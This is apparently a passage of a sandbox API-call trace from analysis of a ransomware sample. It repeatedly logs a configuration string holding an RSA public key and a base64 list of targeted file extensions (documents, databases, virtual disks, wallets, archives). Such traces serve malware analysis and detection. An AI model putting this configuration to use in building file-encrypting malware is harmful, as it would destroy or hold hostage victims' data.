lLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxb